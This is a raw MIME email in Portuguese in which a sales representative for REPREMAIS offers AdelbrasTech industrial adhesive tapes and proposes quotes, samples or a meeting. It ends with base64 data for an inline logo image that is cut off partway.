Segue em anexo a apresentação da empresa. Estou enviando este e-mail, pois estou a disposição para realizar cotações , enviar amostras ou marcarmos uma reunião para montarmos uma estratégia de suporte técnico . Aguardo retorno. Atenciosamente, --=_3a92aaddb69d7a07e935e5611e87ee7f Content-Type: multipart/related; boundary="=_dd6510329bb9686b11eec2e762789fc0" --=_dd6510329bb9686b11eec2e762789fc0 Content-Transfer-Encoding: quoted-printable Content-Type: text/html; charset=UTF-8

 

Prezados,


Meu nome é Renato . Sou diretor c= omercial da REPREMAIS. Sou o representante comercial dos produtos da Adelbr= asTech, divisão de fitas adesivas técnicas e industriais Adel= bras, que possui um completo portfólio de produtos e soluç&ot= ilde;es para o segmento industrial. Há fitas adesivas para uso indus= trial - poliéster, fibra de vidro, crepe de alta temperatura, entre = outras especialidades. Dispomos de logística para entregar em todo B= rasil. Segue em anexo a apresentação da empresa.

&= nbsp;


Estou enviando este e-mail, pois estou a= disposição para realizar cotações , enviar amo= stras ou marcarmos  uma reunião para montarmos uma estrat&eacut= e;gia de suporte técnico . Aguardo retorno.

&= nbsp;


Atencio= samente,

<= img id=3D"Imagem_x0020_1" src=3D"cid:0f6183cf363835e1631305c6226319df@repre= mais.com.br" alt=3D"Descrição: Repremais" width=3D"454" heigh= t=3D"169" />

&= nbsp;

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
--=_dd6510329bb9686b11eec2e762789fc0 Content-Transfer-Encoding: base64 Content-ID: <0f6183cf363835e1631305c6226319df@repremais.com.br> Content-Type: image/png; name=image003.png Content-Disposition: inline; filename=image003.png; size=16700 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 